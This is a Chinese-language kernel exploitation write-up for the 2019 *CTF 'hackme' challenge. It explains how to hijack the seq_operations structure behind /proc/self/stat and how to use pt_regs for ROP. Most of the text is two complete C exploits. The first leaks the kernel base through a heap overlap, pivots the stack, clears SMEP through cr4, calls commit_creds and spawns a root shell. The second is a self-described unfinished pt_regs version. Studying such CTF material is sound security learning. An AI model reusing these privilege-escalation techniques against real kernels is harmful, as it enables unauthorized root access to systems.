kernel 劫持seq_operations && 利用pt_regs
劫持seq_operations进行栈迁移
seq_operations是一个大小为0x20的结构体，在打开/proc/self/stat会申请出来。里面定义了四个函数指针，通过他们可以泄露出内核基地址。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。
拿2019 *starctf hackme关闭smap来尝试这种打法
exp1
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
}
void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0};
save_status();
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
}
add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1
add(2, 0x20, buf); // 2
add(3, 0x20, buf); // 3
delete(0);
delete(2);
int fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
}
show(3, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
show(1, 0x20, -0x20, buf);
heap_base = ((size_t *)buf)[0] - 0x80;
printf("[+] heap_base=> 0x%lx\n", heap_base);
i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
edit(3, 0x20, -0x20, buf);
size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
size_t mmap_base = fake_stack & 0xfffff000;
if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
{
puts("[-] mmap error");
sleep(3);
exit(0);
}
else
puts("[+] mmap success");
memcpy((void *)fake_stack, rop, sizeof(rop));
read(fd_seq, buf, 1);
return 0;
}
利用pt_regs
可以写一段如下汇编来控制程序执行流，再通过将寄存器押上栈进行ROP
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);
这是为什么呢？大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程，通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令： PUSH_AND_CLEAR_REGS rax=$-ENOSYS，这个指令很巧妙，他会把所有的寄存器压到栈上形成一个pt_regs结构体，位于内核栈底。
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
这里寄存器r8-r15都会被放到栈上，如果我们可以合理控制好这些寄存器的值，再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置，那么就可以控制程序执行流，考虑到一般这里栈上连续存放的寄存器一般只有4-5个，我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL))，布局如下：
pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;
由于我这里并没有能找到合适的add rsp, xxxh; ret;，故就留一个调试半成品exp
exp2:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
}
void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0};
save_status();
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
}
add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1
delete(0);
fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
}
show(1, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
((size_t *)buf)[0] = gadget;
edit(1, 0x20, -0x20, buf);
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);
return 0;
}
__EOF__
